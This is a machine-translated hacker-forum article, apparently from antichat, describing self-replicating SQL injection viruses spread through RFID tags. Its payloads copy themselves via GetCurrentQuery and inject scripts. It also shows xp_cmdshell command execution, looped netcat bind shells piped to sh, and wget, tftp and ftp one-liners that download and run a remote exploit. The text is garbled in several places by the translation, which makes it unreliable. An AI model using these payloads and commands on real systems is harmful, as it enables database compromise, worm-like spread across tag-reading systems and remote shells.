This page has been robot translated, sorry for typos if any. Original content here.

Virus im RFID-Hacking, Struktur.


{Einführung}

Dieser Artikel ist ein Add-On für RFID-Hacking. Die Grundlagen und den Anfang finden Sie im ersten Artikel unter: http://forum.antichat.ru/thread123511.html. Daraus haben wir gelernt, dass RFID eine Methode zur Identifizierung von Radiofrequenzen (Radio Frequency Identification) ist, mit der Informationen aus der Ferne gespeichert und abgerufen werden, indem Funksignale mithilfe von RFID-Tags übertragen werden.

{Über Parasiten}

Die Hauptfunktionen des Virus bei dieser Art von Angriff sind das Selbstkopieren und die Ausführung von beliebigem Code. Zu diesem Zweck verwendet der Parasit normalerweise eine Datenbank. Details hängen von der verwendeten Datenbank ab. Grundsätzlich gibt es zwei Arten von Viren bei dieser Art von Angriffen: Die erste verwendet willkürliche Anforderungen in der Datenbank, die zweite implementiert alles mit Hilfe von Quines (Spezialprogramm).
Der beliebige Code, den der Virus ausführen kann, hängt von den Antwortmechanismen der Datenbank auf SQL-Injektionen ab.


{SQL Injection}

In Administrationssystemen wird normalerweise die Methode zum Abfragen von RFID-Tags aus einer Datenbank verwendet, gefolgt von der Rückgabe von Daten, die wiederum in der richtigen Reihenfolge kopiert werden können. Kopieren Sie sich also Markierungen bei Vorhandensein bestimmter Faktoren.

Im Moment können Sie zwei Arten von Viren in Betracht ziehen, die erste ist ein einzelnes Abfrageprogramm und die zweite ist die Verwendung mehrerer Abfragen.
Der erste Virentyp benötigt ein Minimum an Platz und kann in seiner Struktur die Kampflast nicht tragen. Und es wird nur verwendet, um bereits geplante Informationen in die Datenbank einzugeben. Es wurde bereits ein Virus erstellt, der mehrere Abfragen verwendet, um automatische Identifikationssysteme zu infizieren und bösartigen Code oder eine andere Kampflast einzugeben. In den meisten Fällen wird die zweite Methode verwendet. Für den ordnungsgemäßen Betrieb dieses Virentyps ist es jedoch erforderlich, dass bestimmte Bedingungen in der Datenbank ordnungsgemäß erfüllt sind. Dies ist die Bereitstellung der GetCurrentQuery-artigen Funktion für den Zugriff. Dies sollte vermieden werden, um einen Fehler zu vermeiden, da Sie mit dieser API-Fitcha einen Kommentar eingeben können. (Ich beeile mich, Ihnen zu versichern, dass diese Funktionen anfänglich in den Standardsystemen enthalten sind.)

Bestimmte Angriffe können ausgeführt werden, wenn die Datenbank eine Anforderung im Etikett gestellt hat und sie mit diesem Inhalt geantwortet hat
UPDATE ContainerContents SET OldContents = '% contents%' WHERE TagID = '% id%'

Hier werden die Inhalts- und ID-Variablen später gesperrt.

Wenn diese Anfrage fehlerfrei verläuft, kann der Angreifer die Anfrage nach eigenem Ermessen mit Hilfe unseres bevorzugten Anführungszeichens ('') ändern. Und was kannst du machen ??? Und dies dient dazu, dem Bereich "NewContents" nur einen Bereich zum Selbstkopieren hinzuzufügen und andere Systeme auf die gleiche Weise zu infizieren.

Hier ist ungefähr, was wir brauchen:
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Anstatt nur den Bereich "Alte Inhalte" zu aktualisieren, aktualisiert die Abfrage jetzt auch den Bereich "Neue Inhalte". Mit dem SQL-Kommentar (-) werden alle Zeilen in der Datenbank verschoben, was dem Angreifer neue Möglichkeiten eröffnet.

Fügen Sie bösartigen Code ein.

In der oben beschriebenen Inject-Technologie ist es nicht möglich, anderen Code als Abfragen an die Datenbank auszuführen. Wenn der Server jedoch auf der Clientseite des Skripts aktiviert wird, ist er automatisch anfällig. Nach dem Kommentar können Skripte eingefügt werden, die vom Datenbanksystem ignoriert werden.
Das einzige, was Sie berücksichtigen müssen, ist, dass Sie beim Aktivieren des Codes im Exploit den dritten Parameter SUBSTR berücksichtigen müssen, der der Länge des Exploits entsprechen muss.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
In einer ernsteren Version mit der Verwendung von Variablen und Einfügungen nicht nur einiger spezifischer Quietschungen wird es so aussehen:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Hier muss der Schadcode zweimal herausgearbeitet werden, dh beim ersten Mal wird er selbst in die Datenbank kopiert, beim zweiten Mal wird er selbst ausgeführt.

Die Kommentarfunktion ist derzeit in Oracle (OCI / iSQL * Plus) verfügbar und bietet Funktionen im GetCurrentQuery-Stil mit nachfolgenden Administratorrechten. PostgreSQL, MySQL und SQL Server ermöglichen auch Kommentare und mehrere Injection-Anforderungen. Es gibt auch Funktionen im GetCurrentQuery-Stil. Für PostgreSQL und SQL Server wurden jedoch noch keine zuverlässig funktionierenden Viren erstellt. Alles beschränkte sich auf die Testentwicklung.


{Einige Beispiele für den eingegebenen Schadcode}

Von Datenbanken bereitgestellte Systemverwaltungsfunktionen können verwendet werden, um Probleme zu verursachen. Beispielsweise bietet Microsoft SQL Server eine CLOSE-Funktion, mit der die Datenbank für SQL geschlossen werden kann.
Datenbankdaten lesen
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' Daten in der folgenden Abfrage können Sie die Datenbank direkt abfragen.
'|| (SELECT ...) ||'
In diesem Fall führen Anführungszeichen eine SQL-Injection durch und erzwingen, dass die Daten als Code interpretiert werden. || Der Operator führt eine Sequenzverbindung durch, wodurch das Ergebnis der FAVORITE-Abfrage dem Bereich in der Datenbank hinzugefügt wird. Der Operator der Kommunikationssequenz wird benötigt, um den Kommentar, dh unsere Lieblingszitate, zu nitrolisieren.


{Ausführung von Shell-Befehlen über SQL-Injection}

SQL Server bietet die Prozedur xp_cmdshell, mit der böswillige und nicht böswillige Befehle ausgeführt werden können.
EXEC Master..xp_cmdshell 'commands';

{Hintertüren im System installieren}

Um das System zu durchlaufen, benötigen wir die folgenden Befehle.
netcat -lp1234|sh
wo 1234 port abgegriffen wird.

Aber hier besteht die Gefahr einer etablierten und richtig eingestellten Firewall oder Brandmaur. Und es gibt eine Lösung, den Code in einer Endlosschleife auszuführen, sodass er wie ein Dämon funktioniert, der es Ihnen ermöglicht, ein erweitertes Backing zu erstellen.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Weitere Funktionen}

Es gibt auch nützliche Funktionen, wie z. B. wget. Dh Herunterladen einer Datei über das Netzwerk und Speichern der Datei im System.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
wget ist normalerweise auf Windows-Systemen nicht verfügbar. In diesem Fall müssen Sie tftp verwenden.
tftp -i ip GET myexploit.exe & myexploit
Mit der Echo-Funktion können Sie auch eine Textdatei erstellen, wie sie im laufenden Betrieb heißt
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Fazit}

In diesem Artikel wurde das Eindringen in das gefährdete System durch die Programmierung von RFID-Tags beschrieben. Hier muss ich Sie natürlich warnen, dass das gesamte vorgestellte Material nur als Referenz dient. Angesichts der Komplexität der Ausführung der Technologie, nämlich der Erstellung des Etiketts selbst und der Programmierung mit böswilliger Absicht, erscheint es mir für einen einfachen Mann auf der Straße zu schwierig. Deshalb warne ich Menschen, die wissen, aber unter Müßiggang leiden, diese Informationen sollten Sie in der Praxis nicht überprüfen.